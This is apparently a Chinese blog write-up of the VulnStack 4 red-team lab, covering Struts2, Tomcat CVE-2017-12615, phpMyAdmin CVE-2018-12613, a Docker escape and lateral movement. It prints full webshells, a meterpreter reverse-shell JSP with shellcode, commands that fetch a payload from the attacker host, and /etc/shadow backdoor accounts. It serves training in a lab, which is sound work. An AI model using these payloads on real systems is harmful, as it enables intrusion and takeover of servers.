• VulnStack - ATT&CK红队评估实战(四) Writeup


    VulnStack - ATT&CK红队评估实战(四) Writeup#

    VulnStack(四)环境搭建#

    1、项目地址#

    http://vulnstack.qiyuanxuetang.net/vuln/detail/6/

    2、网络拓扑#

    image-20230902145242232

    机器名称 网卡VMnet4 网卡VMnet3 账号密码
    web_ubuntu 192.168.157.132 192.168.183.133 ubuntu:ubuntu
    域成员 192.168.183.128 douser:Dotest123
    域控 192.168.183.130 administrator:Test2008
    Kali 192.168.157.129 kali:kali
    物理机 192.168.157.1

    3、环境说明#

    下载回来有三个虚拟机(虚拟机所有统一密码: ccccc):

    VMnet3 不勾选 将主机虚拟适配器连接到此网络(V),主机虚拟适配器名称: VMware 网络适配器VMnet3 => 构造存内网环境(连物理机都无法通信)

    ①虚拟网络编辑器配置如下#

    image-20230901224952190

    image-20230901225001257

    ②web_ubuntu环境配置#

    (192.168.157.132/192.168.183.133)

    image-20230901224930396

    image-20230901224107769

    image-20230901224056626

    image-20230901224037894

    sudo docker images
    sudo docker ps
    sudo docker ps -a
    

    image-20230901224714885

    image-20230901224423371

    sudo docker start ec 17 09 bb da 3d ab ad		报错信息不用管
    sudo docker ps
    

    image-20230901224634152

    至此,ubuntu环境正式搭建完成!

    ③win7环境配置#

    (192.168.183.128)douser:Dotes123

    导入成功之后,开启输入密码是可以进行登录的(因为内存中有缓存),如果你重启了电脑,就会导致内存清除,并且电脑是脱域的状态,即使输入正确密码也无法登录成功。只好重新导入环境。又由于我们要修改IP信息(由于是脱域状态,即使输入正确密码也没用),加入域,因此,我们在搭建环境时先手动提权,这里使用MS-16-135。

    手动上传MS16-135

    image-20230902233818485

    image-20230902233928607

    image-20230902234534501

    image-20230902234018736

    给启用本地用户,我们要修改IP信息

    image-20230902234447894

    登入 TESTWIN7-PC\administrator:Admin@123 ,修改IP

    image-20230902234946944

    此时我们再次切换用户,进入域用户,可以看见IP已经自动配置好了

    image-20230902235250496

    ④DC环境配置#

    (192.168.183.130)administrator:Test2008 修改成-> Admin@123

    image-20230902230333381

    4、WP、漏洞讲解#

    优秀WP:

    5、最初的已知条件#

    已知一个目标IP为192.168.157.132

    拿下web_ubuntu上的docker容器#

    1、信息收集#

    nmap.exe 192.168.157.132
    nmap.exe -A -p 22,2001,2002,2003 -T 4 192.168.157.132 --script=default
    

    image-20230901231530349

    image-20230901232645262

    2、struts2框架漏洞利用拿shell(2001)#

    ①页面浏览#

    访问 http://192.168.157.132:2001

    image-20230902005927468

    image-20230902005718907

    ②框架漏洞扫描#

    通过简单的nmap、页面源代码和网页标题可知,该网站使用struts2的框架。使用对应的框架漏洞扫描工具

    image-20230902013210257

    image-20230902005818771

    扫描结果具体如下:

    ---->由于未设置DNSLog值(仍是原始值:xxxxxx.com),程序跳过针对Struts2框架下Log4j2漏洞的检测<---- 
    
    POST方法,目标调试模式未开启, 响应码: 200 
    POST方法,目标调试模式未开启, 响应码: 200 
    POST方法,S2-061/062不存在, 响应码: 200 
    POST方法,Strust2调试模式代码执行漏洞-1不存在, 响应码: 200 
    POST方法,Strust2调试模式代码执行漏洞-2不存在, 响应码: 200 
    POST方法,S2-057-1漏洞不存在, 响应码: 500 
    POST方法,S2-057-2漏洞不存在, 响应码: 500 
    POST方法,S2-057-3漏洞不存在, 响应码: 500 
    POST方法,S2-046-bypass漏洞存在!!!,程序更改为S2-046-bypass漏洞测试模式, 响应码: 200 
    POST方法,S2-046-1漏洞存在!!!,程序更改为S2-046-1漏洞测试模式, 响应码: 200 
    POST方法,S2-046-2漏洞存在!!!,程序更改为S2-046-2漏洞测试模式, 响应码: 200 
    POST方法,S2-046-3漏洞存在!!!,程序更改为S2-046-3漏洞测试模式, 响应码: 200 
    POST方法,S2-045-bypass漏洞存在!!!,程序更改为S2-045-bypass漏洞测试模式, 响应码: 200 
    POST方法,S2-045-bypass-2漏洞存在!!!,程序更改为S2-045-bypass-2漏洞测试模式, 响应码: 200 
    POST方法,S2-045-1漏洞存在!!!,程序更改为S2-045-1漏洞测试模式, 响应码: 200 
    POST方法,S2-045-2漏洞存在!!!,程序更改为S2-045-2漏洞测试模式, 响应码: 200
    
    
    POST方法,S2-045-3漏洞存在!!!,程序更改为S2-045-3漏洞测试模式, 响应码: 200 
    POST方法,S2-045-4漏洞存在!!!,程序更改为S2-045-4漏洞测试模式, 响应码: 200 
    POST方法,S2-016漏洞不存在, 响应码: 200 
    POST方法,S2-016_3漏洞不存在, 响应码: 200 
    POST方法,S2-016_4-(unicode编码形式)-漏洞不存在, 响应码: 200 
    POST方法,S2-017漏洞不存在, 响应码: 200 
    POST方法,S2-019漏洞不存在, 响应码: 200 
    POST方法,S2-0192-(脏数据填充、关键字拆分方式)-漏洞不存在, 响应码: 200 
    POST方法,S2-020漏洞不存在, 响应码: 200 
    POST方法,S2-021漏洞不存在, 响应码: 200 
    POST方法,S2-032漏洞不存在, 响应码: 200 
    POST方法,S2-032-2漏洞不存在, 响应码: 200 
    POST方法,S2-037漏洞不存在, 响应码: 404 
    POST方法,S2-DevMode-1漏洞不存在, 响应码: 200 
    POST方法,S2-DevMode-2漏洞不存在, 响应码: 200 
    POST方法,S2-005漏洞不存在, 响应码: 200 
    POST方法,S2-009漏洞不存在, 响应码: 200 
    POST方法,S2-053漏洞不存在, 响应码: 200 
    POST方法,S2-048-2漏洞不存在, 响应码: 200 
    POST方法,S2-048漏洞不存在, 响应码: 200 
    POST方法,S2-001漏洞不存在 
    POST方法,S2-013漏洞不存在, 响应码: 200 
    POST方法,S2-XSS-1漏洞不存在, 响应码: 200 
    POST方法,S2-XSS-2漏洞不存在, 响应码: 200 
    whoami:root 
    当前路径:/usr/src/src/main/webapp 
    

    ③漏洞利用#

    方法一:任意命令执行漏洞

    S2-045-bypass漏洞利用:

    image-20230902011321018

    S2-046-bypass漏洞利用:

    image-20230902010544046

    方法二:通过上传冰蝎的jsp马获取shell

    在漏洞编号为S2-045当中任意一个上传jsp木马,均可成功:

    <%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>
    

    image-20230902093235695

    image-20230902093340782

    image-20230902093406713

    image-20230902093427876

    方法三:通过上传内存jsp马获取shell
    msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.157.129 LPORT=4444 -f jsp > shell.jsp
    cat shell.jsp
    

    image-20230902095229078

    image-20230902095252034

    内存马shell.jsp如下:

    ┌──(root㉿kali)-[~]
    └─# cat shell.jsp         
    <%@ page import="java.io.*" %>
    <%
      String akUWgjLOv = "7f454c4602010100000000000000000002003e0001000000780040000000000040000000000000000000000000000000000000004000380001000000000000000100000007000000000000000000000000004000000000000000400000000000fa000000000000007c01000000000000001000000000000031ff6a095899b6104889d64d31c96a22415a6a075a0f054885c078516a0a4159506a2958996a025f6a015e0f054885c0783b489748b90200115cc0a89d81514889e66a105a6a2a580f05594885c0792549ffc97418576a23586a006a054889e74831f60f0559595f4885c079c76a3c586a015f0f055e6a7e5a0f054885c078edffe6";
      String mbEAKFQQXbe = System.getProperty("java.io.tmpdir") + "/nXbnQQfs";
    
      if (System.getProperty("os.name").toLowerCase().indexOf("windows") != -1) {
        mbEAKFQQXbe = mbEAKFQQXbe.concat(".exe");
      }
    
      int WyDvVOypUnL = akUWgjLOv.length();
      byte[] JdNEyjzvloIzi = new byte[WyDvVOypUnL/2];
      for (int ZmlOADDDmV = 0; ZmlOADDDmV < WyDvVOypUnL; ZmlOADDDmV += 2) {
        JdNEyjzvloIzi[ZmlOADDDmV / 2] = (byte) ((Character.digit(akUWgjLOv.charAt(ZmlOADDDmV), 16) << 4)
                                                  + Character.digit(akUWgjLOv.charAt(ZmlOADDDmV+1), 16));
      }
    
      FileOutputStream JjoJrhXvn = new FileOutputStream(mbEAKFQQXbe);
      JjoJrhXvn.write(JdNEyjzvloIzi);
      JjoJrhXvn.flush();
      JjoJrhXvn.close();
    
      if (System.getProperty("os.name").toLowerCase().indexOf("windows") == -1){
        String[] WRnWfupsRPaBxWW = new String[3];
        WRnWfupsRPaBxWW[0] = "chmod";
        WRnWfupsRPaBxWW[1] = "+x";
        WRnWfupsRPaBxWW[2] = mbEAKFQQXbe;
        Process VjNoUVryHeFLZDy = Runtime.getRuntime().exec(WRnWfupsRPaBxWW);
        if (VjNoUVryHeFLZDy.waitFor() == 0) {
          VjNoUVryHeFLZDy = Runtime.getRuntime().exec(mbEAKFQQXbe);
        }
    
        File hedvKXGN = new File(mbEAKFQQXbe); hedvKXGN.delete();
      } else {
        String[] JwLATwGbUQTMI = new String[1];
        JwLATwGbUQTMI[0] = mbEAKFQQXbe;
        Process VjNoUVryHeFLZDy = Runtime.getRuntime().exec(JwLATwGbUQTMI);
      }
    %>
    

    image-20230902100116422

    3、Tomcat/8.5.19任意文件上传拿shell(2002)#

    ①网页浏览#

    访问 http://192.168.157.132:2002

    image-20230902100430375

    ②框架漏洞扫描#

    image-20230902100420247

    ③漏洞利用#

    Apache Tomcat: Examples File漏洞

    链接地址:http://192.168.157.132:2002/examples/servlets/servlet/SessionExample

    参考文档:https://blog.csdn.net/qq_48985780/article/details/121421440?ydreferer=aHR0cHM6Ly93d3cuZ29vZ2xlLmNvbS5oay8=

    Apache Tomcat: CVE-2017-12615漏洞
    方法一:上传rce的木马
    <%
    if("666".equals(request.getParameter("pwd"))){
    java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
    int a = -1;
    byte[] b = new byte[2048];
    out.print("
    ");
    while((a=in.read(b))!=-1){
    out.println(new String(b));
    }
    out.print("
    "
    ); } %>

    抓取带有目录的数据包,并修改成如下样子,比如:

    • GET /host-manager/html HTTP/1.1 => PUT /rec.jsp/ HTTP/1.1
    • 数据包的内容写上rce的木马

    image-20230902110231979

    在参数 i= 后边修改命令即可(记得命令要进行编码后写入哦):

    image-20230902110802095

    对于/rec.jsp/,如果不写最后面的/将会无法上传成功,这里绕过文件上传的有几个思路:

    上传文件后缀名加/

    上传文件名后缀加::$DATA

    上传文件后缀名加%20

    上传文件名后缀加.

    方法二:CVE-2017-12615.py文件一键拿shell

    image-20230902103645764

    image-20230902103558894

    方法三:上传冰蝎的木马拿shell
    <%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>
    

    image-20230902111707910

    image-20230902112114972

    4、phpMyAdmin 4.8.1远程文件包含拿shell(2003)#

    ①网页浏览#

    访问 http://192.168.157.132:2003 ,发现是个未授权的phpMyAdmin,且版本为4.8.1

    image-20230902123030010

    ②浏览器搜索 phpMyAdmin 4.8.1 ,看看是否存在历史漏洞:#

    image-20230902123612348

    参考文章:

    https://blog.csdn.net/qq_45521281/article/details/105788084

    https://blog.csdn.net/qq_45521281/article/details/105780497

    ③漏洞利用(CVE-2018-12613)#

    CVE-2018-12613漏洞测试:

    /* 方法一 */
    http://192.168.157.132:2003/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd
    
    /* 方法二 */
    http://192.168.157.132:2003/index.php?target=db_datadict.php%253f/../../../../../../../../../Windows/DATE.ini
    

    image-20230902123535577

    那么这该怎么getshell,思路如下:在test库中插入一张表,在表中插入木马,然后访问它的session文件即可

    方法一:远程文件包含漏洞包含phpinfo信息

    ①test中插入shell表:

    image-20230902125007443

    ②表中插入木马:

    image-20230902125519073

    image-20230902125430316

    ③打开F12,查看Cookie文件名 Set-Cookie:phpMyAdmin=84f82911b014d4d0b2e9c6eff4a61ca4; path=/; HttpOnly

    image-20230902125829829

    ④构造payload,并且访问:

    http://192.168.157.132:2003/index.php?target=db_datadict.php%253f/../../../../../../../../../tmp/sess_84f82911b014d4d0b2e9c6eff4a61ca4
    

    image-20230902130054014

    方法二:利用低版本phpMyAdmin特性,直接写入木马,并包含
    select ' file_put_contents("shell.php", "");?>';
    
    或者select ' eval($_POST[cmd]); ?>' into outfile 'shell1.php';	#要求当前用户对MySQL数据库具有写入文件的权限,因此在该环境中无法使用
    

    image-20230902134528048

    访问后效果如下:

    http://192.168.157.132:2003/index.php?target=db_datadict.php%253f/../../../../../../../../../tmp/sess_8ec5ae2ed08cd9d8a086e9cb0d0e923f
    

    image-20230902134548684

    由于我们写入了shell.php,且参数为1,那么post传参即可:

    image-20230902134634734

    蚁剑连接即可

    image-20230902134713569

    image-20230902134801757

    利用phpMyAdmin 4.8.1后台文件包含漏洞,获取登录phpmyadmin系统所产生的sess_sessionID文件,然后通过文件绕过获取相关信息并植入木马,最终获取webshell。通常linux系统中存放路径为/tmp/sess_[当前会话session值]。同时,此漏洞是登陆后才可以使用的,比较鸡肋。一般登陆后直接执行SQL语句生成shell即可,但有时目录权限比较严格,不能在WEB目录内生成,则可以结合本例使用。
    
    tips:如果没做过设置,session文件默认是在/var/lib/php/sessions/目录下,文件名是sess_加上你的session字段。(没有权限)
    而一般情况下,phpmyadmin的session文件会设置在/tmp目录下,需要在php.ini里把session.auto_start置为1,把session.save_path目录设置为/tmp。
    

    5、发现问题#

    发现网络信息对不上!那么,可以判断是否为 docker 环境

    ls -alh /.dockerenv		# 查看是否存在 .dockerrnv 这个隐藏文件
    cat /proc/1/cgroup		# 查看系统进程的cgroup信息
    

    随便进入一台拿下的shell,输入命令后发现,确实,三个容器均为docker环境

    image-20230902145933571

    docker逃逸,拿下ubuntu(192.168.157.132)#

    参考文章:https://blog.csdn.net/web15185420056/article/details/123732933

    1、利用特权模式进行docker逃逸原理#

    使用特权模式启动容器,可以获取大量设备文件访问权限。因为当管理员执行docker run —privileged时,Docker容器将被允许访问主机上的所有设备,并可以执行mount命令进行挂载。

    2、2001、2003漏洞利用#

    查看磁盘文件 fdisk -l ,发现根本就没有挂载磁盘文件(挂载磁盘文件为空),因此,该方法无法使用。尝试了其他逃逸的方法,也无法满足逃逸所需功能,该容器也无法逃逸。

    image-20230902165612548

    image-20230902221743608

    3、2002漏洞利用#

    想启动终端执行,可是这台设备根本无法使用,这里也可以选择冰蝎自带的反弹shell:

    image-20230902165844835

    记得多点击几下 给我连 哦:

    image-20230902170632200

    image-20230902170346198

    但是又由于这台docker容器当中没有安装python的环境,因此,无法使用命令 python -c 'import pty; pty.spawn("/bin/bash")' 来获得伪终端。

    image-20230902170335028

    在这里我就直接使用冰蝎自带的命令执行功能。

    ①查看磁盘文件挂载情况#

    fdisk -l

    发现磁盘文件当中有内容,我们重点看第一条/dev/sda1 * 2048 16779263 16777216 8G 83 Linux,因为Linux一切皆文件,这一条信息是表示着宿主机的真实情况,因此我们就是要利用这一点

    image-20230902165901582

    ②挂载磁盘#

    将/dev/sda1也就是(宿主机)磁盘挂在到(docker)本地的任意文件下

    cd /tmp
    mkdir true		# 用于存放宿主机的磁盘文件
    mount /dev/sda1 /tmp/true		# 此时这个true文件夹就相当于宿主机的根目录,可以进行文件操作。
    

    image-20230902175646212

    ③测试效果#

    此时 当前目录下的 true = 宿主机的/ ,且只能在docker环境的/tmp目录下才可这样访问。由于我们docker环境是以root用户逃逸出来的,因此通过此方法,我们在docker当中使用root用户权限访问true这个目录相当于在宿主机上使用root用户权限访问、操作任意文件。

    /tmp/ >cat true/etc/passwd
    /tmp/ >cat true/etc/shadow
    

    image-20230902180549024

    image-20230902181014076

    ④尝试远程连接宿主机#

    (法一)

    既然可以直接操作文件了,尝试写入一个root用户,尝试ssh。先看看宿主机版本信息:

    image-20230902183545687

    通过 cat true/etc/issue 发现,当前宿主机是一个ubuntu环境。那么我们现在自己开一台ubuntu,在ubuntu上创建用户,通过ubuntu创建用户、密码来确保与靶机的信息一致。

    1、自己的ubuntu上添加用户、密码
    useradd root1	=>	root1:x:1001:1001::/home/root1:/bin/bash
    passwd root1	=>	root1:$6$t7qeLYz2mOvV35Id$ecJ2BukXH0sbigd8hJfhj6K3c.cY/fpeJWie0DOKNnHgG5pVucXGNkiIaIlQc7vkgbcP7UpLIRS7Q9GPi2MXJ1:19602:0:99999:7:::
    
    最终可以登入的账号密码信息如下,
    root1, root1
    
    2、篡改账户密码信息,改为高权限
    useradd root1	=>	root1:x:0:0::/home/root1:/bin/bash
    passwd root1	=>	root1:$6$t7qeLYz2mOvV35Id$ecJ2BukXH0sbigd8hJfhj6K3c.cY/fpeJWie0DOKNnHgG5pVucXGNkiIaIlQc7vkgbcP7UpLIRS7Q9GPi2MXJ1:19602:0:99999:7:::
    
    3、写入宿主机后发现问题

    $符 一定一定一定要记得加\转义

    echo "root1:x:0:0::/home/root1:/bin/bash" >> true/etc/passwd
    echo "root1:\$6\$t7qeLYz2mOvV35Id\$ecJ2BukXH0sbigd8hJfhj6K3c.cY/fpeJWie0DOKNnHgG5pVucXGNkiIaIlQc7vkgbcP7UpLIRS7Q9GPi2MXJ1:19602:0:99999:7:::" >> true/etc/shadow
    

    image-20230902194245483

    image-20230902194233998

    image-20230902194217035

    image-20230902185107485

    通过写入特权账户,发现ssh可以登入,但是root权限登录不上,怀疑可能是禁止root登录。那么还是使用同样的方法,写入普通用户尝试ssh登入

    4、写入普通用户

    到这一步,环境问题是一个很大的问题,一定一定要注意!!!由于实验一直报错,就先写入普通用户的权限,后写入高权限。

    useradd carmi	=>	carmi:x:1001:1001::/home/carmi:/bin/bash
    passwd carmi	=>	$6$Wq85Td6z2LVi/yF4$5y2TqaZGb33UMLSMbj4OGpsk5NgQ1yj3YsbZI2N42oylxlyJix7VL3Z34NzxS.qegC/3aSbK8onLL7vCtaC7.1:19602:0:99999:7:::
    
    可登入账号carmi,密码carmi这个用户
    
    写入:
    echo "carmi:x:1001:1001::/home/carmi:/bin/bash" >> true/etc/passwd
    echo "carmi:\$6\$Wq85Td6z2LVi/yF4\$5y2TqaZGb33UMLSMbj4OGpsk5NgQ1yj3YsbZI2N42oylxlyJix7VL3Z34NzxS.qegC/3aSbK8onLL7vCtaC7.1:19602:0:99999:7:::" >> true/etc/shadow
    

    image-20230902194039574

    image-20230902194006142

    image-20230902194151655

    5、远程连接普通用户

    image-20230902193422989

    6、提权

    由于我们更改写入了高权限用户,有知道账户密码,那么直接切换用户即可完成提权

    image-20230902193934617

    ⑤将ubuntu上线到msf#

    msfvenom -p linux/x86/meterpreter/reverse_tcp lhost=192.168.157.129 lport=8888 -f elf > shell.elf
    python -m http.server 8001  
    

    image-20230903183156971

    cd /tmp
    which wget
    wget http://192.168.157.129:8001/shell.elf	 # curl -O http://192.168.157.129:8001/shell.elf也可以
    chmod 777 shell.elf
    

    image-20230902224330494

    msfconsole
    use exploit/multi/handler 
    set payload linux/x86/meterpreter/reverse_tcp
    set lhost 192.168.157.129
    set lport 8888
    run
    

    image-20230902224516808

    内网渗透小插曲#

    1、内网信息收集#

    通过meterpreter上传fscan_amd64

    meterpreter > upload /home/kali/Desktop/fscan_amd64 /tmp
    
    root@ubuntu:/tmp# cd /tmp
    root@ubuntu:/tmp# chmod 777 fscan_amd64 
    root@ubuntu:/tmp# ./fscan_amd64 
    

    image-20230903003354813

    ./fscan_amd64 -h 192.168.157.0/24		# 已经没用什么价值了
    ./fscan_amd64 -h 192.168.183.0/24
    

    image-20230903010056785

    2、尝试MSF直接进内网#

    ①尝试设置路由通向内网#

    (在msf的meterpreter会话当中)

    meterpreter > run get_local_subnets
    meterpreter > run autoroute -s 192.168.183.0
    

    image-20230904141411792

    利用路由探测内网是否存在永恒之蓝漏洞

    search ms17-010
    use 3
    set rhost 192.168.183.120-132
    

    image-20230904141455918

    直接 use 0 利用,发现不太行

    image-20230904142855144

    ②尝试MSF端口转发#

    (kali本地的6666端口连接内网的445端口,-r是内网主机的地址)

    meterpreter > portfwd add -l 6666 -p 445 -r 192.168.183.128
    meterpreter > portfwd list
    

    image-20230904142535090

    再次 use 0 ,发现会话一直没建立起来

    image-20230904143121817

    3、建立EW隧道,利用ms17-010打向内网#

    EW(蚯蚓突破)是一款功能强大的网络穿透工具,它具备SOCKS5服务架设和端口转发两大核心功能,能够应对复杂的网络环境,并实现网络穿透。通过正向、反向、多级级联等方式,EW可以在防火墙限制下创建网络隧道,达到访问内网资源的目的。

    EW的主要特点如下:

    1. 跨平台支持:EW提供了多种可执行文件,支持Linux、Windows、MacOS和Arm-Linux等操作系统,实现了广泛的平台兼容性。
    2. 强大的穿透能力:EW能够实现正向、反向、多级级联等多种穿透方式,可根据不同的网络环境进行灵活配置。
    3. 高效的端口转发:用户可通过EW的端口转发功能实现内外网之间的通信,方便用户访问内网资源。
    4. SOCKS5服务架设:通过EW的SOCKS5代理服务,用户可以在复杂网络环境下进行安全、高效的网络访问。
    5. 简单易用:EW的使用方法相对简单,用户只需根据需求进行基本配置即可实现网络穿透

    该环境,使用正向反向隧道均可。使用正向还是反向只需要看两者是否能通信,能,正向反向无所谓;不能,只能用反向隧道。

    使用同样的方法,先上传EW,并赋予权限:

    image-20230903091715518

    ①EW正向隧道#

    ubuntu:./ew_for_linux64 -s ssocksd -l 1080
    kali:修改配置文件(vim /etc/proxychains4.conf) => socks5 192.168.157.132 1080
    kali:proxychains msfconsole
    kali:proxychains nmap 192.168.157.132 -Pn
    

    image-20230904150342104

    proxychains msfconsole
    use windows/smb/ms17_010_eternalblue
    set rhosts 192.168.183.128
    set lport 5555
    

    从下面的图片可知 ,我们的隧道是没有问题,攻击也显示successfully,但是就是会话一直建立不成功。

    image-20230904151102231

    终于,思考了许久,发现我们设置的是正向隧道,但是我们的payload是反向连接的payload。因为exploit/windows/smb/ms17_010_eternalblue漏洞默认使用的是反向连接的payload(defaulting to windows/x64/meterpreter/reverse_tcp)。

    下边是反向的payload:

    image-20230904151730556

    设置正向payload后,但是隧道又超时了:

    image-20230904151948714

    但是,我们切换payload的思路是没错的,但是正向的payload,它需要内网机器开启监听端口呀。由于我们的msf无法直接访问内网,那么尝试换其他思路。

    思路一:利用ubuntu直接攻击内网机器

    思路二:寻找内网设备开放的其他端口,通过其他端口(比如说内网的web端口等)打下内网

    ②EW反向隧道#

    流量行走过程:我们将ubuntu的全部浏览从ubuntu本地的1234端口转发到192.168.157.129(kali),然后kali接收到1234端口的流量,在本地转发给本地的1080端口(因为1234端口被占用了)。因此kali访问本地的1080端口的流量即可访问本地的1234端口流量,也可访问ubuntu的1234端口流量,进而访问到内网的全部流量。

    ubuntu主动连接kali => 反向连接

    ubuntu:./ew_for_linux64 -s rcsocks -l 1080 -e 1234
    kali:./ew_for_linux64 -s rssocks -d 192.168.157.129 -e 1234
    kali:修改配置文件(vim /etc/proxychains4.conf) => socks5 192.168.157.132 1080
    kali:proxychains msfconsole
    

    image-20230904183108157

    image-20230904183307096

    image-20230904183631578-16938248455981

    拿到meterpreter会话,添加内网路由

    meterpreter > run get_local_subnets
    meterpreter > run autoroute -s 192.168.183.0 run autoroute -s 192.168.183.0
    

    image-20230904185641500

    再次尝试永恒之蓝漏洞

    search ms17-010
    use 3
    set rhost 192.168.183.120-132
    

    image-20230904185512258

    不过,感觉反向连接的隧道不太稳定,探测端口断断续续的,还特别慢。看这样子也是难成。

    image-20230904190030439

    image-20230904191525825

    还尝试了ms17-010的其他类型以及其他建立隧道方式,可都以失败告终。(讲道理,反向隧道理论上也无法成功,因为我们根本就无法与内网通信)

    所以,不懂这里是手法问题,还是环境问题。但这总归是在练习打靶的过程,流程还得继续。我们不是发现了内网还有设备吗,那就只好手动从虚拟机拖进去(实战的话,尝试社工)。

    通过正向隧道、社工上线内网设备#

    建立一个正向连接的木马

    image-20230904193154130

    在一个夜黑风高的夜晚,悄咪咪的潜入,上传木马。这里为了实验就不进行隐藏、免杀之类的了。

    image-20230904193807484

    use exploit/multi/handler 
    set payload windows/meterpreter/bind_tcp
    set rhost 192.168.183.128
    set lport 9999
    run	(Windows运行木马)
    

    记得msf一定要带上我们刚刚开启的正向隧道进行操作哦

    image-20230904194645447

    渗透域控#

    由正向代理开扫,其实上边fscan已经扫描过了。

    image-20230904203447869

    但,由于环境问题,我的隧道相当的不稳定。最终以失败告终,不过上边的思路还是值得学习的,继续加油吧。

    目录

  • 相关阅读:
    Modbus协议详解3:数据帧格式 - RTU帧 & ASCII帧的区别
    Chrome扩展程序开发随记
    怎么设置IP白名单
    Love-Yi情侣网站3.0存在SQL注入漏洞
    【深度学习】笔记2-神经网络
    【我是学生,可以送我么】搭建树莓派4bJTAG调试平台jlink平替版
    计算机与软件技术系毕业设计(论文)实施意见-计算机毕业设计论文怎么写
    腾讯云短信服务申请, api测试,发送含字母短信
    orcal创建索引
    M. My University Is Better Than Yours(思维)
  • 原文地址:https://www.cnblogs.com/carmi/p/17675576.html